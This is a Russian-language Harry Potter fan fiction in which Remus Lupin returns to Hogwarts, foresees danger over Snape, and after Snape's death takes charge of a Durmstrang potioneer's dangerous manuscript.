Розы для Минервы

Автор: Только сказки
Пейринг:: Северус Снейп, Ремус, Минерва МакГонагалл
Рейтинг: R
Жанр: drama, romance
Summary: В силу ряда обстоятельств Люпин занимает место Снейпа в Хогвартсе.
Дисклеймер:: Роулинг принадлежит то, что было придумано ею.
Архивация: с согласия автора, пожалуйста.

В свадебном платье Тонкс была прекрасна, как олива в облаке серебряных листьев, она плыла чашей света во тьме. Кингсли был тьмой, обнимавшей свет; землей, без которой не жить серебряному дереву. На колдографии оба улыбались. Нимфадора даже помахала мне - и я понял, что, пожалуй, соскучился по ним. Мы не виделись полгода: после победы я перебрался в Испанию, поближе к солнцу и подальше от соотечественников.

Я жил в деревушке в центральной части страны, изредка наезжал на побережье и просил моряков, идущих в дальние рейсы, прихватить мои открытки и опустить в почтовый ящик где-нибудь по ту сторону океана. Адресат у моих посланий был один - Г.Дж.Поттер, менялось лишь место назначения: Гарри с друзьями совершал кругосветное путешествие. Я следил за ним по магическим газетам и надеялся, что отсутствие обратного адреса на моих письмах не казалось мальчику странным. Я ведь тоже мог отправиться в круиз.

В последнее время среди англичан вспыхнул небывалый интерес к поездкам - их считали идеальным средством от послевоенной хандры. А я больше полагался на солнце. Я уехал за ним, застал его в его доме - и получил то, чего хотел. Солнце высушило меня, оно высветлило мне волосы и выкрасило кожу в цвет ореха. Я стал похож на ореховую скорлупу, на костяную дудку, глиняный черепок... На то, чем и являлся, - пустоту, от которой нечего было ждать.

В деревушке я слыл чокнутым, поскольку сторонился людей и много гулял днем, когда все закрывались в домах. Не однажды я сгорал (пару раз даже пришлось серьезно лечиться), но так и не приучил себя к сиесте. В часы общего отдыха меня одолевало беспокойство: хотелось выбраться на дорогу и идти по ней без промедления, без оглядки, пока держат ноги. Я понимал, что от тревоги не убежать, но все-таки поддавался искушению. Правда, наученный горьким опытом, обычно выходил на улицу в широкополой шляпе и с бутылкой воды, так что прогулки заканчивались благополучно. После них я засыпал каменным, мертвым сном и просыпался ночью без единой мысли в голове. Это было лучше всего.

И однажды, вернувшись из благословенного полдневного пекла, я обнаружил поджидавшее меня письмо. Минерва отыскала мое убежище.

Бегло пересказав новости (родственники профессора Флитвика учредили стипендию его имени; она, Минерва, подумывает об исключении предсказаний из школьной программы; аврорат продолжает поиски пособников Упивающихся), МакГонагалл звала меня в Хогвартс "помочь ей кое с чем разобраться", а со второго семестра ("считаю нужным возобновить преподавание сего предмета уже в этом учебном году", уведомляла она) занять кафедру ЗОТИ. К письму она приложила ту колдографию - ее, как писала Минерва, просило передать мне "небезызвестное лицо".

Я разглядывал картинку с чувством, похожим на благодарность. Те, кто считал Тонкс достойной уважения и любви, были правы. Беда была лишь в том, что я мог предложить ей только уважение – и не умел объяснить, почему. Это было так же невозможно, как убедить ребенка, что его бабушка действительно не может играть с ним в салки. Выслушать-то он выслушает, но не поверит – он ведь еще не знает, каково это – быть старым. Вот и Нимфадоре казалось, если потормошить меня как следует, я опомнюсь, очнусь… оживу, что ли... И она старалась, Мерлин свидетель. Но время шло, а я оставался всего лишь собой и не оправдывал ее надежд. В конце концов, устав быть обманщиком поневоле, я просто сбежал. И, судя по письму, теперь она об этом не жалела.

Но вернуться в Хогвартс... странно было считать, что после скандала 93-го года я снова смогу там работать!

Я подумал, что едва ли с тех пор положение оборотней изменилось к лучшему - скорее наоборот, многие стали к нам нетерпимей; что общественное мнение не на нашей стороне и что вряд ли Снейп, которого директор школы отстояла перед министерством и вновь назначила преподавателем зельеварения, позволит мне жить спокойно. Я подумал также о том, что теперь мне было бы трудно преподавать; и что письмо Минервы, несмотря на сдержанный тон, было тревожным. Да и сам предмет, знатоком которого она меня полагала, после победы был как будто ни к чему. К тому же на дворе стояла уже поздняя осень, и в Англии было холодно и дождливо, а я уже привык к солнцу. Я принял все это во внимание и, как перелетная птица, устремился – нет, не на юг. Обратно. Домой.

- Вот уж не думала, что ты прибудешь так быстро, - МакГонагалл не скрывала удивления. - Приятный сюрприз!

Я разглядывал ее строгое бледное лицо и чувствовал себя мальчишкой, вернувшимся в школу после каникул.

- Война кончилась, - мне нравилось произносить эту фразу. - Ордена Феникса больше нет, и я свободен от всех обязанностей. Почему бы мне было не откликнуться?

Минерва поджала губы:

- По-видимому, у нас разные представления... о резонах и обязанностях. Как бы то ни было, ты один из немногих, в ком я не сомневаюсь. А этого дорогого стоит. Вот что, Ремус: я предлагаю тебе работу практически на прежних условиях. Но должна предупредить: в течение года могут произойти перемены. Возможно, кое-кто из преподавателей нас покинет. В этом случае кому-то из оставшихся придется некоторое время читать еще один предмет - и я предпочла бы, чтобы это делал ты. Разумеется, это будет оплачиваться отдельно.

- Что это будет за предмет? Или я смогу выбирать?

МакГонагалл вздохнула.

- Выбирать не придется. При определенных обстоятельствах нужно будет сразу же взять на себя дополнительные обязанности. Поэтому я и обращаюсь к тебе - я же помню, как ты учился.

- Боюсь, что сейчас я не сдал бы и простейшего экзамена, - признался я. - Разве что по ЗОТИ.

- Я не собираюсь экзаменовать тебя, - махнула она рукой. - Конечно, ты мог что-то забыть. Но библиотека Хогвартса в твоем распоряжении, а ты быстро во всем разбираешься. Итак, что ты думаешь о моем предложении?

Я думал, что оно было чистейшей авантюрой. И что Минерва, по всей вероятности, попала в сложное положение. И еще - что я мог бы справиться со своей ролью, если никто не станет настраивать против меня совет попечителей школы.

- Оно мне нравится. Я согласен.

- Прекрасно, - Минерва прищурилась. - Когда ты сможешь перевезти вещи?

- Хоть сегодня.

- Значит, так и договоримся: сегодня ты переезжаешь, а завтра к вечеру представишь мне примерный план занятий по ЗОТИ на январь. Не думаю, впрочем, что его составление займет у тебя много времени, - тут МакГонагалл улыбнулась - и я внезапно понял, что она действительно была рада мне, именно мне, а не некоему абстрактно соответствующему ее требованиям преподавателю. - Ну, хватит о делах! Пожалуйста, расскажи мне об Испании. Я давно хотела там побывать.

Это было хуже экзамена. Что я видел в Испании? Ничего.

Я уставился в пространство над ее головой. Там было пусто.

И я рассказал ей о солнце. А потом еще рассказал.

Она все кивала и молчала. Наконец, замолчал и я. Покосился на ее маленькие руки, бессильно сложенные на коленях. Потом на высокую вазу-мензурку на столе. В вазе стояла роза.

- Я пропустил какое-то событие?

Минерва очнулась. Качнула узлом седых волос.

- Ничего достойного упоминания. Просто мне нравится смотреть на розы. Раньше я не позволяла себе... но после смерти Альбуса решила, что иметь слабости не так уж скверно. Иногда мне дарят цветы. С ними лучше.

Белый бутон сиял в вазе, подтверждая ее слова.

К вечеру я водворился в отведенных мне комнатах. От помощи эльфов я отказался и принялся распаковать вещи самостоятельно. Не такое уж сложное это было дело, а мне нужно было чем-то занять себя до ужина. К тому же мне хорошо думалось за работой.

А думал я о предстоявшей встрече с остальными преподавателями. В частности, со Снейпом, которого я с момента гибели Дамблдора видел не более трех раз – и не горел желанием увидеть снова. Кстати или нет, но мне вспомнилось, что и в разговоре со мной Минерва не назвала происшедшее убийством. Она не употребила даже слова "гибель".

Я не считал это случайной оговоркой. Скорее похоже было, что МакГонагалл доверяла бывшему Упивающемуся в той же мере, что и Дамблдор. Это заключение меня обеспокоило.

Еще я размышлял о крыльях. О тех, что я отчетливо видел над головой Джеймса и Сириуса - и никогда не различал над Альбусом.

В конце войны среди авроров ходили рассказы о "печати смерти", якобы проступавшей на лицах тех, кому предстояло умереть. Говорили о ней и мои знакомые. И у всех этих разговоров была одна особенность: они начинались только после гибели волшебника. Я не помнил случая, чтобы чья-либо смерть была предсказана подобным образом, и сам не видел ни в чьем лице признаков обреченности.

Иное дело - крылья: над теми, кем я дорожил, я замечал их всегда.

Серые, формой вроде чаячьих, они простирались над человеком внезапно, словно кружившая над ним птица или некая крылатая тварь выныривала из-за незримой преграды. Не знаю, как выглядела сама тварь: видны были только крылья – и никогда их хозяйка. Над некоторыми они мерцали, предупреждая об опасности; над другими вырисовывались четко - этих, как я убедился со временем, предупреждать было поздно.

Со временем! Я прозрел в концу учебы в Хогвартсе (полагаю, после случая в Визжащей Хижине... то есть когда едва не сделался убийцей), а разобрался в своих видениях лишь спустя лет пятнадцать!

В свое оправдание я мог бы сказать лишь, что сперва вокруг было немного смертей, да и дар мой был слаб и распространялся на чужих только в минуты сильных переживаний. А потом меня ввело в заблуждение исчезновение Петтигрю: перед событиями в Годриковой Лощине я не видел над ним тени, а все уверяли, что он погиб. Двенадцать лет, пока его считали мертвым, я не верил своим глазам - и поверил, лишь когда различил крылья над Сириусом.

Только это ему уже не помогло.

А над Альбусом я никакой тени так и не разглядел. Быть может, потому, что за директором стоял весь Хогвартс - а самой школе в то время ничто не грозило? Если дело было в этом, то, вероятно, и с Минервой теперь могло получиться нечто подобное. Отправляясь в Большой зал, я пообещал себе быть внимательным.

Я добрался туда, когда дети еще не явились, но преподаватели уже начали собираться. Минерву я заметил еще от дверей: она кем-то беседовала, стоя у профессорского стола. Я отчетливо видел ее узкую спину и качающийся узел седых волос - она кивала, соглашаясь с собеседником. И над ней, среди парящих в воздухе свечей, мерцали большие серые крылья.

Опасность - и, может быть, совсем близко! Я выхватил волшебную палочку и поспешил к столу. Тут МакГонагалл чуть отодвинулась, и я взглянул на того, с кем она говорила.

Это был Снейп. Мне следовало бы сразу догадаться!

Я наставил палочку на него. Сделай он любое подозрительное движение - и я бы не задумываясь...

Но она отступила в сторону еще на пару шагов. А крылья не двинулись с места. Парили над ним.

И тут Снейп уставился на меня.

- Северус, - выговорил я, убирая палочку в рукав. – Здравствуй.

Он широко раскрыл глаза и тут же прищурился.

- О... Люпин, - протянул он и вновь перевел взгляд на МакГонагалл.

- Договорим позже, - пообещала та.

Он наклонил голову и поспешил на свое место.

Минерва представила меня коллегам и ученикам. Я уселся туда, куда она указала, и до конца трапезы не обменялся со Снейпом и словом. Разговаривать с ним мне не хотелось, да и ему мое общество не могло быть приятно. Вряд ли он не понял смысла моих манипуляций с палочкой. И в то же время, как бы смешно это ни прозвучало, я считал нечестным скрывать, что его жизни угрожает нечто и помимо меня. Хотя и не представлял, как в свете последних событий сообщить ему об этом.

Поглощенный размышлениями о том, как быть, за ужином я держался не лучшим образом. Минерва и другие профессора обращались ко мне, но я отвечал односложно. Наконец, новому преподавателю арифмантики, большому энтузиасту этой науки, удалось втянуть меня в несколько принужденную беседу об использовании двоичной системы исчисления. Он - увы, не слишком внятно - доказывал преимущества такой системы и убеждал, что переход на нее откроет перед арифмантикой новые горизонты. Я же - признаюсь, без особой горячности, - подчеркивал удобство привычной для магглов и волшебников десятичной. Не то чтобы десятичная система на самом деле мне не нравилась, но разговор о вещах очевидных нельзя было назвать интересным. Я испытал облегчение, когда раздался крик: "Почта! Прибыла почта!" и мой сосед принялся высматривать свою сову.

Принесенное птицей послание он распечатал с тем же воодушевлением, что демонстрировал и при изложении своей теории. Не желая показаться бесцеремонным, я отвел глаза и принялся разглядывать зал. Дети, как обычно, радостно гомонили, хотя кое-кто из них и получил вопиллеры; преподаватели тоже оживились; кое-кто делился новостями с окружающими. Я оглядел весь профессорский стол, и обнаружил, что Снейп тоже держал в руках письмо - увесистый конверт желтого цвета, не похожий на официальные конверты министерства магии, но не уступавший им размерами. Вскрыв конверт, он сунул туда нос и дернул уголком рта, что у него означало улыбку. Незримая птица над его головой плеснула крыльями.

Скажу сперва Минерве, решил я. Сперва ей, а потом ему. Может быть, она сумеет убедить своего протеже в том, что я не обманываю. А впрочем, даже и после этого объяснение с ним обещало быть неприятным. Так стоило ли его откладывать?

Из-за стола мы встали одновременно, и на выходе из Большого зала я оказался рядом со Снейпом.

- Северус, мне нужно с тобой поговорить.

- Я занимаю те же комнаты, что и раньше. Буду там через полчаса, - бросил он через плечо и ринулся прочь.

Я отправился в библиотеку - не видел смысла возвращаться к себе на эти тридцать минут. Мадам Пинс быстро подобрала мне несколько учебников по ЗОТИ. Заодно я попросил найти мне что-нибудь по арифмантике: преподаватель показался мне не слишком компетентным, и я заподозрил, что его-то Минерва и имела в виду, когда говорила о возможном уходе одного из профессоров. Во всяком случае, пожелай она уволить этого человека, я бы поддержал ее решение.

От библиотеки до комнат МакГонагалл было рукой подать. Со стопкой книг в руках я шел по коридору, раздумывая, не начать ли все же с Минервы, и у двери в ее кабинет невольно замедлил шаги.

- ...вопрос недели, самое большее - двух, - услышал я голос Снейпа и остановился как вкопанный.

- Медлить опасно, - возражала Минерва. - Не лучше ли воспользоваться предоставившейся возможностью?

- Не лучше, - упрямился Снейп. – Важнее всего сейчас подтвердить реноме Траппа.

Я прислонился к дверному косяку. По сравнению с нормальными людьми ликантропы имеют и кое-какие преимущества. В частности, более острый слух.

- Назовите пароль, - потребовала дверь.

- Тише, - шепнул я.

Несколько секунд она переваривала услышанное. Потом объявила:

- Неправильный пароль. Назовите пароль.

- Я просто иду мимо.

- ... сам считал, что нужен именно он, - донеслось до меня, - поскольку он не принимает поспешных решений.

- Хвала Мерлину, что это так, - буркнул Снейп, - не то были бы у тебя сегодня же на руках и мой долгожданный труп, и убийца. А то и два трупа, если бы я успел ответить.

- Только этого мне не хватало, - с чувством произнесла директор Хогвартса.

- Неправильный пароль, - наставала дверь.

- Хорошо, - я припомнил, что днем говорила Минерва. - Кошки-мышки.

Дверь отворилась.

- Ремус? - МакГонагалл, сидевшая в кресле у стола, оглянулась. Снейп, стоявший поодаль с письмом в руке, подчеркнуто не замечал меня.

- Да, Минерва. Можно войти?

- Ты уже вошел, - констатировала она. - Поздно спрашивать разрешения. У тебя что-то срочное?

- Именно. Извините за вторжение, но мне нужно сообщить кое-что вам обоим.

Снейп обратил ко мне скучный взор. Я ответил ему таким же невыразительным взглядом. Он, конечно, владел легилеменцией, но без палочки и заклинаний не мог выведать у меня ничего. Должно быть, это соображение пришло в голову и ему - он опустил глаза. Парящая над ним тень мерцала, вынуждая меня торопиться. Только я не знал, с чего начать...

- Итак? - Минерва шевельнулась в кресле.

Я набрал побольше воздуха и заговорил.

На протяжении моего рассказа они не проронили ни звука. Под конец переглянулись, и Снейп сладким голосом произнес:

- Любопытная история. И рассказана так кстати!

- А я считаю, что Ремус не ошибается. Риск очень велик, - МакГонагалл указала взглядом на конверт в руке зельевара. – Не уверена, что это – то, что нам нужно. Может быть, поищем другие пути?

- Мы уже обсуждали этот вопрос и сошлись на том, что Трапп в нынешней ситуации – лучшая кандидатура. С тех пор ничего не изменилось.

Минерва поджала губы.

- Верно. Что ж, если ты так хочешь…

- Да, - отрезал Снейп. – Да, именно так.

- Хорошо. Ремус, - обратилась директор ко мне, - я вынуждена просить тебя о помощи. Северус покинет нас на несколько дней. В ближайшее время мы заменим зельеварение другими предметами, но затем тебе, возможно, придется провести одно или два занятия. Северус сегодня же введет тебя в курс дела.

Снейп кивнул, буркнул "всего доброго" и вылетел за дверь. Ошарашенный, я распрощался с Минервой и вышел следом. Он, конечно, не ждал меня – несся прочь по коридору, и серые крылья плескали над ним. Может быть, поэтому его невежливость не показалась мне нарочитой. Ему и в самом деле было некогда, так что он просто не удосуживал быть вежливым. Как будто бы он... ну, как волк, бегущий по следу.

Я нагнал его перед самой дверью в его комнаты. Вошел – и затаил дыхание. Во-первых, все здесь было пропитано запахами, к которым не так-то легко было приспособиться. А во-вторых, мне надо было успокоиться.

Зелья! Если и был среди школьных предметов такой, который мне толком не давался, то это было именно зельеделие, и Снейпу сие обстоятельство было отлично известно. Распоряжение МакГонагалл передать дела мне должно было взбесить его. В кабинете Минервы он промолчал, но тут сдерживаться было незачем, и мне, очевидно, предстояло выслушать самую уничижительную оценку моих умственных способностей.

Но он был так занят своими мыслями (или так разъярен), что даже не пожелал съязвить. Швырнув письмо на стол, ткнул пальцем в стопку пергаментов:

- Мои конспекты. Написаны зачарованным пером, вполне разборчиво. В них планы занятий. Вот тут, – палец переместился на левый угол стола, – задания для контрольных. Учебники для всех курсов вон на той полке. Можешь читать их три дня, будут выходной и замены. На четвертый день или чуть позже я вернусь. Это все. Понятно?

- Вполне. За исключением одного: мне что же, следует забрать все прямо сейчас?

Ничего мне не было понятно, кроме того, что руки у меня были заняты и без его книг и конспектов.

- Зайдешь завтра вечером. Паролем будет "Рапунцель".

Заметив мое удивление, он фыркнул и указал все на тот же желтый конверт:

- Нет, я не любитель немецких сказок. Но мой корреспондент страстно ими увлечен и полагает, что студентам не мешало бы их знать. Мечтает о тех временах, когда маггловедению в Дурмштранге добавят часов.

"Т.Т.Трапп" – прочел я имя отправителя письма.

- Он преподает?..

- Зельеварение, разумеется, - Снейп казался изумленным моим вопросом.

Я поморщился. У меня были основания для недовольства собой. Действительно, кому еще он мог писать и кого хвалить в разговоре с МакГонагалл!

- Так ты собираешься в Дурмштранг? - осенило меня. – Эту поездку Минерва называла рискованной?

- Неважно, куда я собираюсь. Я намерен вернуться. Несмотря на твои попытки запугать меня.

Он так и сделал – вернулся через пять дней. А еще через день пропал.

Спустя еще сутки в Косом переулке нашли его труп.

Я лгал Минерве, когда говорил, что война кончилась. Для таких, как мы, она и не собиралась завершаться. Мы собственность войны, ее законная добыча. Я думал об этом с тех пор, как решил вернуться в Англию; я думал об этом на похоронах Снейпа.

Из всех похорон, что мне довелось видеть, эти были самыми плохими. Оркестра не было, а вместо родных и близких, пришедших попрощаться с умершим, кладбище заполняла толпа зевак, авроров и журналистов. Ворча и гудя, эта толпа теснилась возле отведенного под могилу участка. Большинство из пришедших пытались пробиться в первые ряды – и каждый из преуспевших находил нужным лично удостовериться в том, что в гробу лежит именно Снейп, а потом бросал любопытный взгляд на МакГонагалл, застывшую над ямой.

В яме стояла вода. Под ногами зевак чавкала глина. Минерва смотрела куда-то поверх голов и, как я надеялся, ничего не слышала. В толпе шептались о Снейпе и о ней - искали особых объяснений ее решению взять его на работу.

Из бывших учеников Снейпа не пришел никто. Их трудно было винить: хотя директор Хогвартса и заявляла во всеуслышание, что Северус действовал на нашей стороне, этому мало кто верил. Снейп был из не тех, кто располагал к себе. Что же до слизеринцев, которые были кое-чем обязаны своему бывшему декану, то авроры считали их первыми кандидатами в подозреваемые: по основной версии следствия, зельевар был убит кем-то из бывших своих сообщников или их родственников.

Расследование шло и другими путями, но главной все-таки оставалась версия об убийстве из мести. Никаких ценностей Снейп при себе не носил, так что на убийство с целью ограбления преступление не походило. На убийство из ревности - и того меньше. Трудно было поверить, что этот человек разбил чье-то сердце. Оставались убийство по ошибке (как будто его можно было с кем-то спутать!) и несчастный случай. Последнее предположение заставило меня задуматься: Северус обладал незаурядным даром причинять неприятности, но еще чаще вляпывался в них сам.

Свидетелей происшедшего, конечно же, не было - обитатели Косого переулка с рождения обладают даром не видеть и не слышать лишнего. Просто однажды утром за мусорными баками было найдено тело худого черноволосого мужчины, и по лицу и меткам на одежде выходило, что это был Снейп. МакГонагалл, приглашенная для опознания, подтвердила вывод авроров. Потом они два дня изучали труп, ища следы наложенных чар или какого-нибудь усовершенствованного оборотного зелья, - и ничего не обнаружили.

Но и после этого хоронить Снейпа решили в открытом гробу, хотя в своем завещании он и требовал обратного. Уж я-то точно знал, каких он хотел похорон, поскольку именно меня он сделал своим душеприказчиком.

Сказать, что я был взбешен, когда выяснилось это обстоятельство, значило выразиться слишком мягко. Меньше всего на свете я желал выполнять волю убийцы Дамблдора - ведь что бы там МакГонагалл ни говорила, объяснения не отменяли факта убийства. К тому же Снейп выбрал меня, не спросил моего согласия!

- Разве он имел право так поступить, даже не поставив меня в известность? - я сунул под нос Минерве письмо от поверенного Снейпа.

Лицо МакГонагалл выразило сочувствие.

- Увы, Ремус, имел. Сделать своим душеприказчиком можно кого угодно. В таком случае за выполнение распоряжений завещателем назначется награда. Но разумеется, выбранное им лицо может и отказаться от возлагаемых на него обязанностей, если награда его не устраивает.

Тут я прикусил язык. Северус знал, на что ловить - согласись я, мне достались бы письма Альбуса ("в том числе касавшиеся и тебя, Люпин" - не преминул пояснить Снейп в приложенной к завещанию записке).

- Ремус, - голос Минервы вернул меня к действительности, - я ведь тоже намерена просить тебя кое о чем в связи с... происшедшим.

- Неужели и вам нужно, чтобы я стал его душеприказчиком? - мрачно пошутил я.

- Нет, на этом я не настаиваю. Я бы только хотела, чтобы ты взялся преподавать зельеделие.

Я был обескуражен. А Минерва продолжала:

- У меня сейчас нет на примете хороших зельеваров, а ты уже заменял его на нескольких уроках, и уроки эти прошли неплохо. Конечно, после Нового года положение твое осложнится: вести два предмета сразу очень тяжело... но если нагрузка окажется чрезмерной, я могла бы освободить тебя от преподавания ЗОТИ. Тем более что расписание на следующие полгода еще не утверждено.

- Но как мы будем выходить из положения в полнолуния?

- Я учту их при составлении расписания. Итак?

Ну уж нет! Если я и откажусь от чего-нибудь, то никак не от ЗОТИ.

- Вот что: не нужно освобождать меня от защиты. Я справлюсь. В особенности если не назначать меня деканом Слизерина.

Минерва улыбнулась.

- На этот счет можешь не беспокоиться - тебе не во всем придется заменять Северуса. Кстати, - улыбка ее увяла, - похороны послезавтра. Устраивать ничего не надо - в аврорате все уже решили. Боюсь, не совсем так, как хотел Северус... Но возражений они не слушают. И я должна присутствовать. Ты не пойдешь?

Тогда-то я и вызвался сопровождать ее.

Лучше бы Снейп не умирал.

После похорон дурная слава Северуса только укрепилась. Слухи об обстоятельствах его смерти ходили самые некрасивые. Говорили также, что неспроста директор Хогвратса так мало скорбела по своему протеже. В этой недостаточной скорби усматривали доказательство того, что даже и МакГонагалл сомневалась в Снейпе.

Я не взялся бы сказать, сильно ли переживала Минерва: она не выставляла своих чувств напоказ, а мне некогда было задумываться над ее поведением. Я зубрил алхимию - состав, запах, цвет, консистенцию, методологию приготовления микстур и тинктур... и применение, само собой. Зубрил - и понимал, что после полнолуния половина этих знаний будет утрачена. У меня по-прежнему не было ни малейшей склонности к зельеделию.

Дело шло не легче, чем тридцать лет назад, но теперь у меня появился более серьезный стимул, чем просто юношеские любознательность или честолюбие. Минерва полагалась на меня - и мне необходимо было добиться успеха. И в конце концов, я преуспел - собственноручно сварил ликантропное зелье, к которому и сам Снейп не придрался бы.

Чего мне это стоило, я понял лишь на следующее утро у зеркала. Оттуда на меня смотрел незнакомец с пустыми глазами. Сквозь темный еще загар на его лице проступала тусклая щетина, волосы были всклокочены. Я провел пятерней по волосам, вспомнил ужасную шевелюру Снейпа, прикинул свои перспективы - и рысью помчался в ванную. Там-то и поразила меня кощунственная мысль - в тот момент, когда, уже вымывшись, я стоял под ледяным душем. А что если, подумал я, и Снейпу не давались зелья? Нравились - но не давались? Кто знает, почему он еще во время учебы тратил на зельеварение вдвое больше времени и сил, чем все остальные? Может быть, он...

Я отбросил дурацкие размышления и выключил воду. Рассуждать на эту тему было бессмысленно. К какому бы выводу я ни пришел, его нельзя было ни подтвердить, ни опровергнуть - спрашивать было уже не у кого.

В конце завтрака, когда в Большом зале появились совы, выяснилось, что я знаю о Северусе еще и больше других. Маленькая коричневая неясыть, впорхнувшая в окно, заметалась над моей головой, обронила желтый конверт - и, вскрикнув, унеслась прочь. Конверт был надписан смутно знакомым мне почерком и адресован "Хогвартс, Великобритания, преподавателю зельеделия С.Т.Снейпу". Мистер Трапп писал это письмо, еще не зная о том, что его адресат погиб.

Я не стал распечатывать послание - просто сунул его в новый конверт, на котором написал адрес Траппа. В конверт я вложил и записку с сообщением о смерти хогвартского зельевара, а также объяснениями того, кто я такой. А потом пошел к МакГонагалл - узнавать, как отослать письмо в Дурмштранг.

Оказалось, что система отправки писем за границу не слишком неудобна. Школьные совы доставляли корреспонденцию в центральное почтовое отделение, оттуда она переправлялась морем (частью на судах, а частью с альбатросами) до страны назначения; а там уже перепоручалась местным птицам. Послания из-за границы в Хогвартс доставлялись так же, и то коричневое недоразумение, вручившее мне чужое письмо, по всей видимости, было почтовой совой на государственном содержании.

- Да, государственные совы не слишком хороши. Но не беспокойся, письма доходят, - развеяла мои опасения Минерва. - Я часто пишу директору Дурмштранга - мы налаживаем сотрудничество между школами и уже обсуждаем программу обмена студентами.

Действительно, письмо не затерялось: спустя несколько дней я получил еще один желтый конверт. На сей раз послание предназначалось именно мне. Дурмшангский зельевар извещал меня, что весьма опечален известием о смерти своего коллеги, "который, несмотря на некоторые недостатки, оказывал мне значительную помощь в моих исследованиях". Он также выражал уверенность в том, что "воспреемник герра Снейпа не уступает своему предшественнику" и что мы, не будучи еще знакомыми лично, сможем успешно сотрудничать.

Бесцеремонность снейпова знакомца меня покоробила. Каков бы ни был мой сокурсник, упоминать о недостатках покойного в полуофициальном письме было неуместно. Да и попытки Траппа польстить мне, совершенно чужому для него человеку, выглядели недостойно. Я ответил, что едва ли смогу быть полезен уважаемому коллеге, так как занимаюсь алхимией временно - в силу необходимости - и мои познания в предмете не выходят за рамки школьной программы.

Следующее письмо зельевара почти целиком состояло из сожалений и уверений в совершеннейшем ко мне почтении. Завершала послание просьба воспользоваться моим правом душеприказчика и поискать в бумагах Снейпа его, Траппа, наброски к статье "О кумулятивном эффекте костероста и оборотных зелий нового поколения". Зельевар писал, что отправил рукопись Снейпу на рассмотрение и желал бы получить ее обратно - "так как плоды моих размышлений не представляют интереса ни для кого, кроме узких специалистов", а к тому же сам он, по досадной случайности, лишился черновиков работы.

Ссылка на "узких специалистов" позабавила меня. Похоже, Трапп испугался, что я могу украсть у него идею. Я заверил его, что, не являясь упомянутым специалистом, не способен уловить суть его концепции и охотно вышлю ему рукопись, если она обнаружится.

Легко сказать - вышлю рукопись! Найти-то я ее нашел, а вот что делать дальше - не знал. Точнее, не испытывал ни малейшего желания переправлять ее куда бы то ни было. Разве только в Гринготс – под охрану драконам.

Потому что на полях работы Траппа Снейп приписал: "Перспективное направление, разработка которого в настоящее время не представляется целесообразной. Публикация статьи, указывающей на возможность без труда отравить человека, некогда принимавшего улучшенный костерост, является потенциально опасной, в особенности с учетом информации о появлении сторонников В. в Германии." И несколько фраз о сходной опасности, связанной с использованием усовершенствованного оборотного зелья.

Замечание Снейпа показалось мне резонным. Глупо было бы давать новое оружие своему противнику, пусть даже поверженному - а Трапп готов был сделать это. Выходило, что возвращать ему бумаги не следовало.

Я считал честность лучшей политикой, а потому написал зельевару, что обнаружил его рукопись, а вместе с нею – рецензию Снейпа, которая заставила меня взглянуть на дело иначе. Я объяснял, что в нынешних условиях публикация подобной статьи может повлечь за собой серьезную опасность для сотен тысяч волшебников, и просил Траппа на время отложить обнародование идеи.

По всей видимости, это письмо укрепило алхимика в худших подозрениях на мой счет - он потребовал вернуть наброски к статье немедленно. Но сдаваться я не собирался. В конце концов, не мог же он выкрасть рукопись из Хогвартса! Доступ к личным комнатам Снейпа по-прежнему был закрыт для окружающих сетью заклинаний, и я подозревал, что и сам попал бы в переделку, если бы попробовал сунуться туда, не будучи введен в права душеприказчика.

Я написал зельевару снова, пообещав выслать его разработки, если он сможет гарантировать, что они будут надежно спрятаны. Тон его следующего письма не оставлял сомнений в том, что Трапп серьезно рассержен. Памятуя о желании Минервы наладить сотрудничество с германскими коллегами, я решил посоветоваться с ней, прежде чем отвечать.

- Он имеет право забрать свое имущество в любой момент, - Минерва выглядела встревоженной. В последнее время она постоянно выглядела встревоженной. – А что именно он пишет?

Я пересказал как можно подробнее. Лицо МакГонагалл слегка прояснилось.

- Кажется, дело зашло еще не слишком далеко. Вот что, Ремус, я сама напишу ему. А ты, пожалуйста, собери его бумаги и подготовь их к отправке.

- Но ведь Снейп писал, что это опасно, - уперся я.

- Боюсь, у нас нет иного выхода, - Минерва, извиняясь, пожала плечами. - Рукопись - его собственность. А он знает, что ты нашел ее.

Я кивнул и подумал, что извиняться полагалось бы мне. Ведь это я сообщил Траппу о находке, не вникнув в суть дела. Значит, мне и надлежало исправлять положение.

Я еще не видел выхода. Но мог представить себе, какой предложил бы Снейп.

В том, что он погиб, был единственный плюс - можно было не опасаться, что в ближайшее время кто-нибудь повторит открытие Траппа. Этим слабым утешением МакГонагалл встретила меня на следующее утро. Она также полагала, что нам удастся убедить дурмшангского зельевара повременить с публикацией.

Я сомневался в этом, но предпочел промолчать. Насколько я теперь представлял себе Траппа, убедить его в чем-либо было практически невозможно. А мне нужно было быть уверенным в благоприятном исходе. Поэтому я узнал, где располагается соответствующее почтовое отделение, отправился туда и убедил его служащих в следующий раз прислать ко мне в Хогвартс ту самую коричневую сову. А заодно поинтересовался ее именем.

Эррол - вот как звали птицу.

В тот же день я взвесил рукопись Траппа и пересчитал число листов в ней. Я также вытребовал у школьных эльфов два больших конверта. В один я вложил рукопись, а в другой нужное количество бумаги подходящей плотности. Первый конверт я отнес в Гринготс, второй - красиво надписанный - выложил на свой стол и принялся ждать. Ожидание продлилось недолго: как я и предполагал, зельевар, пусть отчасти и успокоенный МакГонагалл, все-таки посчитал нужным напомнить о себе.

Письмо, как и пообещали мне на почте, принесла та самая неясыть. Если не брать в расчет его хрупкое сложение и глуповатость, Эррол был отличной птицей - вежливой, доброжелательной и искренне желающей угодить отправителю послания. Он терпеливо болтался под потолком Большого зала, пока я ходил к себе за конвертом, а потом не менее терпеливо ждал, пока к его лапе привяжут груз.

С бечевкой я возился долго - профессор Флитвик успел вывести во двор третьекурсников из Рейвенкло, которым предстояло осваивать новые заклинания. Профессор был твердо убежден, что заклинания воспламенения, как и тушения огня, невозможно отрабатывать в помещении, тем более если заниматься с большой группой студентов. Я был с ним согласен - хватало и нескольких попыток, чтобы в кабинете до конца дня воцарялся невыносимый смрад. Так что применять эти заклинания дети традиционно учились на свежем воздухе, на специально вынесенных во двор сухих ветках. Вчера этим развлекался Слизерин, сегодня подошла очередь Рейвенкло.

- Ну вот, Эррол, лети, - я подошел к окну и подбросил неясыть в воздух. Тяжелый конверт потянул ее вниз. Птица забила крыльями, медленно набирая высоту. Дети во дворе не обращали на нее внимания.

- Инсендио! - веснушчатый мальчик, до странности напоминавший мне кого-то из Уизли, направил волшебную палочку на сваленные в кучу ветки. - О, получается! У меня получается!

Сухое дерево расцвело огнем.

